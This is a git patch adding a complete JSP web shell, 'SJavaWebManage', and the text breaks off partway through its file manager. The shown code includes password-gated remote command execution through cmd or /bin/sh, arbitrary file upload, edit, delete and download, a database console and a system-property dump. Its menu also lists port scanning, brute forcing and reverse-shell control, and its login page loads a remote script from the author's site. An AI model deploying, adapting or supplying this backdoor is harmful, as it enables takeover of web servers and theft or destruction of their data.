From d416c7190c2b7c03cd7f73c005a43cce337b0ae9 Mon Sep 17 00:00:00 2001
From: tennc <tennc@126.com>
Date: Sun, 29 May 2016 09:30:35 +0800
Subject: [PATCH] Create SJavaWebManageV1.4.jsp

write with JDK1.3
author : shack2
url: http://www.shack2.org/article/1417190167.html
---
 jsp/SJavaWebManageV1.4.jsp | 1754 ++++++++++++++++++++++++++++++++++++
 1 file changed, 1754 insertions(+)
 create mode 100644 jsp/SJavaWebManageV1.4.jsp

diff --git a/jsp/SJavaWebManageV1.4.jsp b/jsp/SJavaWebManageV1.4.jsp
new file mode 100644
index 0000000..e84edb2
--- /dev/null
+++ b/jsp/SJavaWebManageV1.4.jsp
@@ -0,0 +1,1754 @@
+<%@page import="java.sql.ResultSetMetaData"%>
+<%@page import="java.sql.ResultSet"%>
+<%@page import="java.sql.DatabaseMetaData"%>
+<%@page import="java.sql.DriverManager"%>
+<%@page import="java.sql.Statement"%>
+<%@page import="java.sql.Connection"%>
+<%@page import="java.nio.charset.Charset"%>
+<%@page import="java.text.DecimalFormat"%>
+<%@page import="java.util.Properties"%>
+<%@page import="java.util.ArrayList"%>
+<%@page import="java.util.zip.ZipOutputStream"%>
+<%@page import="java.util.zip.ZipEntry"%>
+<%@page import="java.util.HashMap"%>
+<%@page import="java.io.*"%>
+<%@page import="java.util.Date"%>
+<%@page import="java.text.SimpleDateFormat"%>
+<%@page import="java.util.Iterator"%>
+<%@page import="java.util.Map"%>
+<%@page import="java.security.MessageDigest"%>
+<%@ page language="java" contentType="text/html; charset=UTF-8"
+	pageEncoding="UTF-8"%>
+<%!
+private static final String PASS = "098f6bcd4621d373cade4e832627b4f6";//test
+private static final String VERSION = "V1.4-20160528";
+private static final String[] Encodings = {"UTF-8","GB2312","GBK","ISO-8859-1","ASCII","Big5"};
+private static final String REQUEST_ENCODING = "ISO-8859-1";
+private static final String PAGE_ENCODING = "UTF-8";
+private static final String checkNewVersion = "http://www.shack2.org/soft/javamanage/Getnewversion.jsp";//检查新版本更新
+
+private static final String DBO = "mydbdao";//Session数据库连接常量
+/*工具类*/
+public static class Util{
+	public static String get32Md5(String str){
+		try {
+			  MessageDigest md = MessageDigest.getInstance("MD5");
+			  md.update(str.getBytes());
+			  byte b[] = md.digest();
+			  int i;
+			  StringBuffer buf = new StringBuffer("");
+			  for (int offset = 0; offset < b.length; offset++) {
+			   i = b[offset];
+			   if (i < 0)
+			    i += 256;
+			   if (i < 16)
+			     buf.append("0");
+			   buf.append(Integer.toHexString(i));
+			  }
+			 
+			  return buf.toString().toLowerCase();
+	              
+	    } catch (Exception e) {
+	     
+	    } 
+	    return "";
+	 }
+	public static boolean isEmpty(String val){
+		if(val==null||"".equals(val)){
+			return true;
+		}
+		return false;
+	}
+	public static String execCmd(String cmd,String encode){
+		
+		String result="";
+		String[] rmd=cmd.split(" ");
+		String[] cmds =new String[rmd.length+2];
+		String OS = System.getProperty("os.name");
+		if (OS.startsWith("Windows")) {
+			cmds[0]="cmd";
+			cmds[1]="/c";
+		}
+		else {
+			cmds[0]="/bin/sh";
+			cmds[1]="-c";
+		}
+		for(int i=0;i<rmd.length;i++){
+			cmds[i+2]=rmd[i];
+		}
+		Process p=null;
+		try{
+		p = Runtime.getRuntime().exec(cmds);
+		OutputStream os = p.getOutputStream();
+		BufferedInputStream in = new BufferedInputStream(p.getInputStream());
+		BufferedReader br = new BufferedReader(new InputStreamReader(in,encode));
+		DataInputStream dis = new DataInputStream(in);
+		String disr = br.readLine();
+		while ( disr != null ) {
+		 	result+=disr+"<br/>";
+		    disr = br.readLine();
+		}
+		if (p.waitFor() != 0){
+			
+			in = new BufferedInputStream(p.getErrorStream());
+			br = new BufferedReader(new InputStreamReader(in));
+			dis = new DataInputStream(in);
+			disr = br.readLine();
+			while ( disr != null ) {
+			 	result+=disr+"<br/>";
+			    disr = br.readLine();
+			}
+		}
+		}catch(Exception e){
+			result=e.getMessage();
+		}finally{
+			if(p!=null){
+				p.destroyForcibly();
+			}
+			
+		}
+		return result.replaceAll("\\r\\n", "<br/>");
+	}
+	
+	public static String formatPath(String path){
+		if(isEmpty(path)){
+			return "";
+		}
+		return path.replaceAll("\\\\","/").replace('\\', '/').replaceAll("//", "/");
+	}
+	
+	public static String formatDate(long time) {
+		SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
+		return format.format(new Date(time));
+	}
+	//获取参数值
+	public static String getRequestStringVal(HttpServletRequest request,String key){
+		String val=request.getParameter(key);
+		if(!isEmpty(val)){
+			return val;
+		}
+		return "";
+	}
+	public static int getRequestIntVal(HttpServletRequest request,String key){
+		String val=getRequestStringVal(request,key);
+		int v=0;
+		try{
+			v=Integer.parseInt(val);
+		}catch(Exception e){
+
+		}
+		return v;
+	}
+	//
+	
+	public static void print(JspWriter out,int level,String info) throws Exception{
+		try{
+		
+		if(level==1){
+			out.print("<font color=\"green\">"+info+"</font>");
+		}
+		else if(level==2){
+			out.print("<font color=\"orange\">"+info+"</font>");
+		}
+		else if(level==3){
+			out.print("<font color=\"red\">"+info+"</font>");
+		}
+		else{
+			out.print("<font>"+info+"</font>");
+		}
+		}catch(Exception e){
+			throw e;
+		}
+	}
+}
+/*
+数据库操作工具类
+*/
+private static class DBUtil{
+private Connection conn = null;
+private Statement stmt = null;
+private String driver;
+private String url;
+private String uid;
+private String pwd;
+public DBUtil(String driver,String url,String uid,String pwd) throws Exception {
+this(driver,url,uid,pwd,false);
+}
+public DBUtil(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
+try{
+Class.forName(driver);
+if (connect)
+this.conn = DriverManager.getConnection(url,uid,pwd);
+this.url = url;
+this.driver = driver;
+this.uid = uid;
+this.pwd = pwd;
+}catch(ClassNotFoundException e){
+	e.printStackTrace();
+	throw e;
+}
+}
+public void connect() throws Exception{
+this.conn = DriverManager.getConnection(url,uid,pwd);
+}
+public Object execute(String sql) throws Exception {
+if (isValid()) {
+stmt = conn.createStatement();
+if (stmt.execute(sql)) {
+return stmt.getResultSet();
+} else {
+return ""+stmt.getUpdateCount();
+}
+}
+throw new Exception("Connection is inValid.");
+}
+public void closeStmt() throws Exception{
+if (this.stmt != null)
+stmt.close();
+}
+public boolean isValid() throws Exception {
+return conn != null && !conn.isClosed();
+}
+public void close() throws Exception {
+if (isValid()) {
+closeStmt();
+conn.close();
+}
+}
+public boolean notchange(String driver,String url,String uid,String pwd) {
+return (this.driver.equals(driver) && this.url.equals(url) && this.uid.equals(uid) && this.pwd.equals(pwd));
+}
+public Connection getConn(){
+return this.conn;
+}
+}
+
+/**
+ *将文件或是文件夹打包压缩成zip格式
+ * 
+ */
+public static class ZipUtils {    
+   /**
+     * 创建ZIP文件
+     * @param sourcePath 文件或文件夹路径(多个请用逗号隔开)
+     * @param zipPath 生成的zip文件存在路径（包括文件名）
+     */
+    public static void createZip(String sourcePath, String zipPath) {
+        FileOutputStream fos = null;
+        ZipOutputStream zos = null;
+        try {
+            fos = new FileOutputStream(zipPath);
+            zos = new ZipOutputStream(fos);
+            String[] fs=sourcePath.split(",");
+            for(int i=0;i<fs.length;i++){
+            	writeZip(new File(fs[i]), "", zos);	
+            }
+        } catch (Exception e) {
+            
+        } finally {
+            try {
+                if (zos != null) {
+                    zos.close();
+                }
+            } catch (IOException e) {
+                
+            }
+
+        }
+    }
+    
+    private static void writeZip(File file, String parentPath, ZipOutputStream zos) {
+        if(file.exists()){
+            if(file.isDirectory()){//处理文件夹
+                parentPath+=file.getName()+File.separator;
+                File [] files=file.listFiles();
+                for(int i=0;i<files.length;i++){
+                	File f=files[i];
+                    writeZip(f, parentPath, zos);
+                }
+            }else{
+                FileInputStream fis=null;
+                try {
+                    fis=new FileInputStream(file);
+                    ZipEntry ze = new ZipEntry(parentPath + file.getName());
+                    zos.putNextEntry(ze);
+                    byte [] content=new byte[1024];
+                    int len;
+                    while((len=fis.read(content))!=-1){
+                        zos.write(content,0,len);
+                        zos.flush();
+                    }
+                  
+                } catch (Exception e) {
+                    
+                }finally{
+                    try {
+                        if(fis!=null){
+                            fis.close();
+                        }
+                    }catch(IOException e){
+                    }
+                }
+            }
+        }
+    }
+}
+
+public static class FileUtil{
+	
+	public static String getFileSize(long size){
+    	DecimalFormat df = new DecimalFormat("#.00");
+    	if(size<1024){
+    		return size+"Byte";
+    	}
+    	else if(size<(1024*1024)){
+    		
+    		return df.format((double)(size/1024))+"KB";
+    	}
+    	else if (size<(1024*1024*1240)){
+    		return df.format((double)(size/1024/1024))+"M";
+    	}
+    	else{
+    		return df.format((double)(size/1024/1024/1024))+"G";
+    	}	
+    }
+	//递归删除文件
+	public static boolean deleteFile(String path){
+
+		File f=new File(path);
+		if(f.isDirectory()){
+			File[] fs=f.listFiles();
+			for(int i=0;i<fs.length;i++){
+				if(fs[i].isDirectory()){
+					deleteFile(fs[i].getPath());
+				}
+				fs[i].delete();
+			}
+		}
+		return f.delete();
+	}
+	
+public static String  writeTextToFile(String text,String path,String encode){
+	String msg="";
+		try {
+
+			
+			OutputStreamWriter osw = null;
+			if(Util.isEmpty(encode)){
+				osw=new OutputStreamWriter(new FileOutputStream(path));
+			}
+			else{
+				osw=new OutputStreamWriter(new FileOutputStream(path),encode);
+			}
+			BufferedWriter bw=new BufferedWriter(osw);
+			bw.write(text);
+
+			bw.flush();
+			bw.close();
+			osw.close();
+			msg="保存成功！";
+		} catch (Exception e) {
+	
+			msg="保存异常----"+e.getMessage();
+		} 
+		return msg;
+		
+		
+	}	
+	public static String readFileToString(String path,String encoding){
+		OutputStream os=null;
+		FileInputStream fis=null;
+		InputStreamReader isr=null;
+		String result="";
+		try {
+			String fname=path.substring(path.lastIndexOf("/")+1);
+			File f=new File(path);
+		    fis=new FileInputStream(path);
+		    if(Util.isEmpty(encoding)){
+				isr=new InputStreamReader(fis);
+			}
+			else{
+				isr=new InputStreamReader(fis,encoding);
+			}
+			BufferedReader br=new BufferedReader(isr);
+		
+			String tem=null;
+		    while((tem=br.readLine())!=null){
+		    	
+		    	result+=(tem+"\r\n");
+		    }
+		    br.close();
+		    isr.close();
+		    fis.close();
+		}catch(Exception e){
+			result="文件读取错误！"+e.getMessage();
+		}
+		return result.replaceAll("<", "&lt;").replaceAll(">", "&gt;");
+	} 
+	
+	public static void newFile(String path,String isDir) throws Exception{
+		
+		File f=new File(path);
+		if(!f.exists()){
+		if("1".equals(isDir)){
+			f.mkdir();
+		}
+		else{
+			f.createNewFile();
+		}
+		}
+	}
+	
+	public static void downLoadFile(HttpServletResponse response,String path){
+		OutputStream os=null;
+		FileInputStream fis=null;
+		BufferedInputStream bis=null;
+		try {
+			String fname=path.substring(path.lastIndexOf("/")+1);
+			File f=new File(path);
+			os= response.getOutputStream();    
+		    
+		    response.reset();
+		    response.setHeader("Content-Disposition", "attachment; filename="+fname);
+		    response.setContentType("application/octet-stream; charset=UTF-8");
+		    fis=new FileInputStream(path);
+		    bis=new BufferedInputStream(fis);
+		    byte[] tem=new byte[4068];
+		    int len=0;
+		    while((len=bis.read(tem))!=-1){
+		        	os.write(tem,0,len);
+		    }
+		    
+		}catch(Exception e){}
+		finally {
+			try{
+			if(bis!=null) bis.close();
+			if(fis!=null)fis.close();
+		    
+		     if (os != null) {
+		    	os.flush();
+		        os.close();
+		    }
+			}catch(Exception e){}
+		}
+	}
+	
+}
+
+/*上传类*/
+public static class UploadFile {
+
+    /**
+     * 上传文件组件，调用该方法的servlet在使用该方法前必须先调用request.setCharacterEncoding()方法，设置编码格式。该编码格式须与页面编码格式一致。
+     * @param sis 数据流
+     * @param encoding 编码方式。必须与jsp页面编码方式一样，否则会有乱码。
+     * @param length 数据流长度
+     * @param upLoadPath 文件保存路径
+     * @throws FileNotFoundException
+     * @throws IOException
+     */
+    public static HashMap uploadFile(ServletInputStream sis, String encoding, int length, String upLoadPath) throws IOException {
+        HashMap paramMap = new HashMap();
+
+        boolean isFirst = true;
+        String boundary = null;//分界符
+        byte[] tmpBytes = new byte[4096];//tmpBytes用于存储每行读取到的字节。
+        int[] readBytesLength = new int[1];//数组readBytesLength中的元素i[0]，用于保存readLine()方法中读取的实际字节数。
+        int readStreamlength = 0;//readStreamlength用于记录已经读取的流的长度。
+        String tmpString = null;
+
+        tmpString = readLine(tmpBytes, readBytesLength, sis, encoding);
+        readStreamlength = readStreamlength + readBytesLength[0];
+        while (readStreamlength < length) {
+            if (isFirst) {
+                boundary = tmpString;
+                isFirst = false;
+            }
+            if (tmpString.equals(boundary)) {
+                String contentDisposition = readLine(tmpBytes, readBytesLength, sis, encoding);
+                readStreamlength = readStreamlength + readBytesLength[0];
+                String contentType = readLine(tmpBytes, readBytesLength, sis, encoding);
+                readStreamlength = readStreamlength + readBytesLength[0];
+                //当时上传文件时content-Type不会是null
+                if (contentType != null && contentType.trim().length() != 0) {
+                    String paramName = getPramName(contentDisposition);
+                    String fileName = getFileName(getFilePath(contentDisposition));
+
+                    paramMap.put(paramName, fileName);
+
+                    //跳过空格行
+                    readLine(tmpBytes, readBytesLength, sis, encoding);
+                    readStreamlength = readStreamlength + readBytesLength[0];
+
+                    /*
+                     * 文件名不为空，则上传了文件。
+                     */
+                    if (fileName != null && fileName.trim().length() != 0) {
+                        fileName = upLoadPath + fileName;
+
+                        //开始读取数据
+                        byte[] cash = new byte[4096];
+                        int flag = 0;
+                        FileOutputStream fos = new FileOutputStream(fileName);
+                        tmpString = readLine(tmpBytes, readBytesLength, sis, encoding);
+                        readStreamlength = readStreamlength + readBytesLength[0];
+                        /*
+                         *分界符跟结束符虽然看上去只是结束符比分界符多了“--”，其实不是，
+                         *分界符是“-----------------------------45931489520280”后面有2个看不见的回车换行符，即0D 0A
+                         *而结束符是“-----------------------------45931489520280--”后面再跟2个看不见的回车换行符，即0D 0A
+                         *
+                         */
+                        while (tmpString.indexOf(boundary.substring(0, boundary.length() - 2)) == -1) {
+                            for (int j = 0; j < readBytesLength[0]; j++) {
+                                cash[j] = tmpBytes[j];
+                            }
+                            flag = readBytesLength[0];
+                            tmpString = readLine(tmpBytes, readBytesLength, sis, encoding);
+                            readStreamlength = readStreamlength + readBytesLength[0];
+                            if (tmpString.indexOf(boundary.substring(0, boundary.length() - 2)) == -1) {
+                                fos.write(cash, 0, flag);
+                                fos.flush();
+                            } else {
+                                fos.write(cash, 0, flag - 2);
+                                fos.flush();
+                            }
+                        }
+                        fos.close();
+                    } else {
+                        //跳过空格行
+                        readLine(tmpBytes, readBytesLength, sis, encoding);
+                        readStreamlength = readStreamlength + readBytesLength[0];
+
+                        //读取分界符或者结束符
+                        tmpString = readLine(tmpBytes, readBytesLength, sis, encoding);
+                        readStreamlength = readStreamlength + readBytesLength[0];
+                    }
+                } //当不是长传文件时
+                else {
+                    String paramName = getPramName(contentDisposition);
+                    String value = readLine(tmpBytes, readBytesLength, sis, encoding);
+                    //去掉回车换行符(最后两个字节)
+                    byte[] valueByte=value.getBytes(encoding);
+                    value =new String(valueByte, 0, valueByte.length-2, encoding);
+                    
+                    readStreamlength = readStreamlength + readBytesLength[0];
+                    paramMap.put(paramName, value);
+                    tmpString = readLine(tmpBytes, readBytesLength, sis, encoding);
+                    readStreamlength = readStreamlength + readBytesLength[0];
+                }
+            }
+
+        }
+        sis.close();
+        return paramMap;
+    }
+
+    /**
+     * 从流中读取一行数据。
+     * @param bytes 字节数组，用于保存从流中读取到的字节。
+     * @param index 一个整型数组，只有一个元素，即index[0],用于保存从流中实际读取的字节数。
+     * @param sis 数据流
+     * @param encoding 组建字符串时所用的编码
+     * @return 将读取到的字节经特定编码方式组成的字符串。
+     */
+    private static String readLine(byte[] bytes, int[] index, ServletInputStream sis, String encoding) {
+        try {
+            index[0] = sis.readLine(bytes, 0, bytes.length);//readLine()方法把读取的内容保存到bytes数组的第0到第bytes.length处，返回值是实际读取的 字节数。
+            if (index[0] < 0) {
+                return null;
+            }
+        } catch (IOException e) {
+            return null;
+        }
+        if (encoding == null) {
+            return new String(bytes, 0, index[0]);
+        } else {
+            try {
+                return new String(bytes, 0, index[0], encoding);
+            } catch (Exception ex) {
+                return null;
+            }
+        }
+
+    }
+
+    private static String getPramName(String contentDisposition) {
+        String s = contentDisposition.substring(contentDisposition.indexOf("name=\"") + 6);
+        s = s.substring(0, s.indexOf('\"'));
+        return s;
+    }
+
+    private static String getFilePath(String contentDisposition) {
+        String s = contentDisposition.substring(contentDisposition.indexOf("filename=\"") + 10);
+        s = s.substring(0, s.indexOf('\"'));
+        return s;
+    }
+
+    private static String getFileName(String filePath) {
+        String rtn = null;
+        if (filePath != null) {
+            int index = filePath.lastIndexOf("/");//根据name中包不包含/来判断浏览器的类型。
+            if (index != -1)//包含/，则此时可以判断文件由火狐浏览器上传
+            {
+                rtn = filePath.substring(index + 1);//获得文件名
+            } else//不包含/,可以判断文件由ie浏览器上传。
+            {
+                index = filePath.lastIndexOf("\\");
+                if (index != -1) {
+                    rtn = filePath.substring(index + 1);//获得文件名
+                } else {
+                    rtn = filePath;
+                }
+            }
+        }
+        return rtn;
+    }
+}
+%>
+<%
+request.setCharacterEncoding(PAGE_ENCODING);
+//shell所在磁盘路径
+final String shellPath=request.getContextPath()+request.getServletPath();
+
+//shell磁盘更目录
+String webRootPath=request.getSession().getServletContext().getRealPath("/");
+
+if (Util.isEmpty(webRootPath)) {//for weblogic
+	webRootPath = Util.formatPath(this.getClass().getClassLoader().getResource("/").getPath());
+	webRootPath = webRootPath.substring(0,webRootPath.indexOf("/WEB-INF"));
+	webRootPath=webRootPath.substring(0,webRootPath.lastIndexOf("/"));
+} else {
+	webRootPath = application.getRealPath("/");
+}
+webRootPath=Util.formatPath(webRootPath);
+final String shellDir=webRootPath+request.getContextPath();
+
+String m=Util.getRequestStringVal(request, "m");
+if(Util.isEmpty(m)){
+	m="FileManage";
+}
+//登录密码验证
+
+if("Login".equals(m)){
+	String dow=Util.getRequestStringVal(request, "do");
+	if(Util.isEmpty(dow)){
+		%>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="author" content="shack2" />
+<title>Powered By SJavaWebManage</title>
+
+<style type="text/css">
+body {
+	font-size: 12px;
+	color: #464646;
+	margin: 0px;
+	padding: 10px;
+	background-color: #fbfbfb;
+	border-collapse: collapse;
+}
+
+div {
+	line-height: 30px;
+}
+
+input {
+	vertical-align: middle;
+}
+</style>
+
+</head>
+
+<body>
+	<div>
+		<form action="<%=shellPath %>?m=Login&do=DoLogin" method="post"
+			enctype="application/x-www-form-urlencoded" name="loginForm">
+			请输入密码：<input type="password" name="pass" /><input name=""
+				type="submit" value="登录" />
+		</form>
+		<%
+String info=Util.getRequestStringVal(request, "info");
+if("false".equals(info)){
+	Util.print(out,2,"密码错误，嘎嘎！");
+}
+%>
+	</div>
+	<div style="border-bottom: 2px #ccc solid;">
+		Copyright (c) 2014 <a href="http://www.shack2.org">http://www.shack2.org</a>
+		All Rights Reserved| coded by shack2 QQ：1341413415| Powered By
+		SJavaWebManage| version:<%=VERSION%>&nbsp;&nbsp;新版本:<script src="<%=checkNewVersion%>"></script></div>
+</body>
+</html>
+<%
+	}
+	if("DoLogin".equals(dow)){
+		String pass=Util.getRequestStringVal(request, "pass");
+		
+		if(PASS.equals(Util.get32Md5(pass).toLowerCase())){
+			session.setAttribute("isLogin", "true");
+			response.sendRedirect(shellPath+"?m=FileManage");
+		}
+		else{
+			response.sendRedirect(shellPath+"?m=Login&info=false");
+		}
+	}
+	//阻止下面的内容输出
+	return;
+}
+else{
+	
+	//登录状态验证
+	String isLogin=session.getAttribute("isLogin")+"";
+	if(!"true".equals(isLogin)){
+		response.sendRedirect(shellPath+"?m=Login");
+	}
+}
+%>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<style type="text/css">
+body {
+	font-size: 12px;
+	color: #464646;
+	margin: 0px;
+	padding: 0px;
+}
+
+#menue {
+	height: 35px;
+	background: #efefef;
+	overflow: hidden;
+	margin: 0px auto;
+	width: 1200px;
+	padding: 0px 10px 0px 10px;
+	border-bottom: 1px solid #222;
+	text-align: center;
+}
+
+#menue a {
+	text-decoration: none;
+	color: #fff;
+	padding: 10px 22px 10px 22px;
+	letter-spacing: 2px;
+	height: 35px;
+	line-height: 35px;
+	font-weight: bold;
+}
+
+ul, li, font, dd, dl {
+	padding: 0px;
+	margin: 0px
+}
+
+#content {
+	line-height: 30px;
+	padding: 10px;
+	overflow: hidden;
+	margin: 0px auto;
+	width: 1200px;
+	color: #464646;
+	background: #fff;
+}
+
+#content div {
+	line-height: 30px;
+}
+/*EnvsInfo*/
+#EnvsInfo {
+	padding: 10px;
+}
+
+#EnvsInfo li {
+	line-height: 25px;
+}
+/*FileManage css*/
+#filesList dd, font {
+	float: left;
+	text-align: left;
+}
+
+.fileName {
+	width: 600px;
+	display: block;
+	white-space: nowrap;
+	overflow: hidden;
+	text-overflow: ellipsis;
+}
+
+.fileUpdateTime, .filePermis {
+	width: 140px;
+}
+
+.fileSize {
+	width: 120px;
+}
+
+.fileDo a {
+	margin-left: 10px;
+	color: #464646;
+}
+
+#filesList div {
+	height: 30px;
+	padding: 0px 5px 0px 5px;;
+	line-height: 30px;
+	border-bottom: 1px solid #ccc;
+	background: #fcfcfc;
+}
+
+#filesList a {
+	height: 30px;
+	line-height: 30px;
+}
+
+#filesList input {
+	margin: 0px;
+	padding: 0px;
+	margin-right: 5px;
+	vertical-align: text-top;
+}
+
+#diskInfo {
+	clear: both;
+	height: 30px;
+	line-height: 30px;
+}
+
+#diskInfo a {
+	height: 30px;
+	line-height: 30px;
+	color: #555;
+	margin-right: 5px;
+}
+
+#filesInfo {
+	padding: 5px;
+}
+
+#filesInfo a {
+	margin-right: 10px;
+	color: #464646;
+}
+
+#CMDS input {
+	margin: 0px;
+	vertical-align: middle;
+}
+
+#CMDS select {
+	margin: 0px;
+	vertical-align: middle;
+}
+/*CMD*/
+#execResult {
+	line-height: 30px;
+}
+/*DBManage*/
+#dbinfo {
+	line-height: 25px;
+}
+
+#dbdata table {
+	border-collapse: collapse;
+}
+
+#dbdata td {
+	border-bottom: 1px solid #ccc;
+}
+/*bottom*/
+.bottom {
+	clear: both;
+	color: #fff;
+	width: 1200px;
+	margin: 0px auto;
+	padding: 10px;
+	height: 25px;
+	line-height: 25px;
+	background: #888;
+	text-align: center;
+}
+
+.bottom a {
+	color: #fff;
+	height: 25px;
+	line-height: 25px;
+	li
+}
+
+#fileListTop div {
+	float: left;
+}
+</style>
+<script type="text/javascript">
+function post(url,data){
+	var op=document.getElementById("postForm");
+	if(op!=null){
+		document.body.removeChild(op);
+	}
+	var pForm = document.createElement("form");
+	pForm.id="postForm";
+	document.body.appendChild(pForm);  
+	pForm.method = "post";  
+	pForm.action = url;
+	for(var x in data){
+		var input = document.createElement("input");  
+		input.setAttribute("name",x);
+		input.setAttribute("type","hidden");
+		input.setAttribute("value",data[x]);
+		pForm.appendChild(input);
+	}
+	pForm.submit();
+}
+</script>
+</head>
+<body>
+	<div>
+		<!--top-->
+		<div
+			style="background-color: #efefef; height: 25px; line-height: 25px; padding: 5px 0px 0px 5px; border-bottom: 2px #000 solid; text-align: center">
+			Web:localhost:8000 主机IP：192.168.11.11 |Java WebManage coded by shack2
+			| http://www.shack2.org | version:<%=VERSION%>
+			ps:本脚本适用于简单的Web管理，为了兼容较低版本JDK，采用JDK1.3开发
+		</div>
+		<!--menue-->
+		<div id="menue">
+			<a href="javascript:post('<%=shellPath%>',{m:'EnvsInfo'})"
+				name="EnvsInfo">环境信息</a><a
+				href="javascript:post('<%=shellPath%>',{m:'FileManage'})"
+				name="FileManage">文件管理</a><a
+				href="javascript:post('<%=shellPath%>',{m:'CMDS'})" name="CMDS">命令执行</a><a
+				href="javascript:post('<%=shellPath%>',{m:'DBManage'})">数据库管理</a><a
+				href="javascript:void(0)">端口扫描</a><a href="javascript:void(0)">暴力破解</a><a
+				href="javascript:void(0)">反弹控制</a><a href="javascript:void(0)">远程文件下载</a><a
+				href="javascript:void(0)">远程控制</a><a href="http://www.shack2.org">更
+				新</a><a href="http://www.shack2.org">bug反馈</a><a
+				href="javascript:void(0)">退出</a>
+		</div>
+		<!--content-->
+		<div id="content">
+			<%
+		if("EnvsInfo".equals(m)){
+		%>
+			<!--环境信息-->
+			<div id="EnvsInfo">
+				<ul>
+					<%
+				Properties ps=System.getProperties();
+				Iterator iter=ps.keySet().iterator();
+				while (iter.hasNext()) {
+					String key=iter.next()+"";
+					out.print("<li>"+key+"&nbsp;&nbsp;"+ps.getProperty(key)+"</li>");
+				}
+				%>
+
+				</ul>
+			</div>
+			<%
+		}
+		%>
+
+			<%	
+		//文件管理
+		if("FileManage".equals(m)){
+			String dow=Util.getRequestStringVal(request, "do");
+			String path=Util.getRequestStringVal(request, "path");
+			if("upload".equals(dow)){
+				if(!Util.isEmpty(path)){
+					UploadFile.uploadFile(request.getInputStream(), PAGE_ENCODING,Integer.parseInt(request.getHeader("Content-Length")),path);
+					out.print("<script type=\"text/javascript\">post('"+shellPath+"',{'m':'FileManage','dir':'"+path+"'});</script>");
+					//response.sendRedirect(shellPath+"?m=FileManage&dir="+path);
+				}
+			}
+			if("newFile".equals(dow)){
+				if(!Util.isEmpty(path)){
+					String isDir=Util.getRequestStringVal(request, "isDir");
+					String fname=Util.getRequestStringVal(request, "fileName");
+					FileUtil.newFile(path+"/"+fname,isDir);
+					out.print("<script type=\"text/javascript\">post('"+shellPath+"',{'m':'FileManage','dir':'"+path+"'});</script>");
+					//response.sendRedirect(shellPath+"?m=FileManage&dir="+path);
+				}
+			}
+			else if("packFiles".equals(dow)){
+				if(!Util.isEmpty(path)){
+					String files=Util.getRequestStringVal(request, "files");
+					String zipName=Util.getRequestStringVal(request, "zipName");
+					String toPath="";
+					if(Util.isEmpty(files)){
+						File f=new File(path);
+						ZipUtils.createZip(path, Util.formatPath(f.getParent())+"/"+zipName+".zip");
+					}
+					else{
+							//打包多个文件
+						toPath=path;
+						ZipUtils.createZip(files, path+"/"+zipName+".zip");
+					}
+					
+					out.print("<script type=\"text/javascript\">post('"+shellPath+"',{'m':'FileManage','dir':'"+toPath+"'});</script>");
+					//response.sendRedirect(shellPath+"?m=FileManage&dir="+path);
+				}
+			}
+			else if("editFile".equals(dow)){
+				String encoding=Util.getRequestStringVal(request, "encode");
+				String result="";
+				String msg="";
+				String content=Util.getRequestStringVal(request, "content");
+				if(!Util.isEmpty(content)){
+					msg=FileUtil.writeTextToFile(content, path, encoding);
+					result=content;
+				}
+				else{
+					result=FileUtil.readFileToString(path,encoding);
+				}
+				%>
+			<div class="editFile">
+				<form name="editFileForm"
+					enctype="application/x-www-form-urlencoded" method="post" action="">
+					<input type="hidden" value="FileManage" name="m" /> <input
+						type="hidden" value="editFile" name="do" /> <input type="hidden"
+						value="<%=path %>" name="path" />
+					<div>
+						<select name="encode" onchange="changeEncode(this,'<%=path%>')">
+							<option value="UTF-8">默认</option>
+							<%
+					for(int i=0;i<Encodings.length;i++){
+						if(!Encodings[i].equals(encoding)){
+							out.print("<option>"+Encodings[i]+"</option>");
+						}
+						else{
+							out.print("<option selected=\"selected\">"+Encodings[i]+"</option>");
+						}
+					}
+					%>
+						</select><%=msg %>
+						<input type="submit" value="保存" />
+					</div>
+
+
+					<div id="fileText">
+						<textarea name="content" style="height: 400px; width: 100%"><%=result %></textarea>
+					</div>
+				</form>
+			</div>
+			<%
+			}
+			else if("delete".equals(dow)){
+				if(!Util.isEmpty(path)){
+					File f=new File(path);
+					String ppath=Util.formatPath(f.getParent());
+					
+					//删除多个
+					String files=Util.getRequestStringVal(request, "files");
+					if(!Util.isEmpty(files)){
+						String[] filesarry=files.split(",");
+						for(int i=0;i<filesarry.length;i++){
+							FileUtil.deleteFile(filesarry[i]);
+						}
+						ppath=path;
+					}else{
+						FileUtil.deleteFile(path);
+					}
+					out.print("<script type=\"text/javascript\">post('"+shellPath+"',{'m':'FileManage','dir':'"+ppath+"'});</script>");
+					//response.sendRedirect(shellPath+"?m=FileManage&dir="+path);
+				}
+				
+			}
+			else if("downFile".equals(dow)){
+				if(!Util.isEmpty(path)){
+					File f=new File(path);
+					FileUtil.downLoadFile(response, path);
+				}
+				
+			}
+			else if(Util.isEmpty(dow)){
+				int dirCount=0;
+				int fCount=0;
+				String dir=Util.getRequestStringVal(request, "dir");
+				if(Util.isEmpty(dir)){
+					//显示根目录文件列表
+					dir=webRootPath;
+				}
+				dir=Util.formatPath((dir+"/"));				
+				File f=new File(dir);
+				%>
+			<!--文件管理-->
+			<div id="FileManage">
+				<div id="fileListTop">
+					<div>
+						<form action="<%=shellPath%>" method="post"
+							enctype="application/x-www-form-urlencoded" name="turnDir">
+							当前磁盘路径：<input style="width: 390px; height: 18px" id="currentDir"
+								name="dir" type="text" value="<%=dir%>" /><input value="转到"
+								type="button" onclick="goTargetPath(0)" />
+						</form>
+						<form
+							action="<%=shellPath %>?m=FileManage&do=upload&path=<%=dir%>"
+							method="post" enctype="multipart/form-data">
+					</div>
+					<div>
+						&nbsp;&nbsp;文件上传：<input name="path" type="hidden" value="<%=dir%>" /><input
+							name="m" value="FileManage" type="hidden" /><input name="do"
+							value="upload" type="hidden" /><input name="upFile" type="file" /><input
+							type="submit" value="上传" />&nbsp;&nbsp;<input value="跳到上级目录"
+							onclick="goTargetPath(1)" type="button" />
+						</form>
+					</div>
+				</div>
+				<!--磁盘列表-->
+				<div id="diskInfo">
+					<%	
+				File[] rfs=f.listRoots();
+				
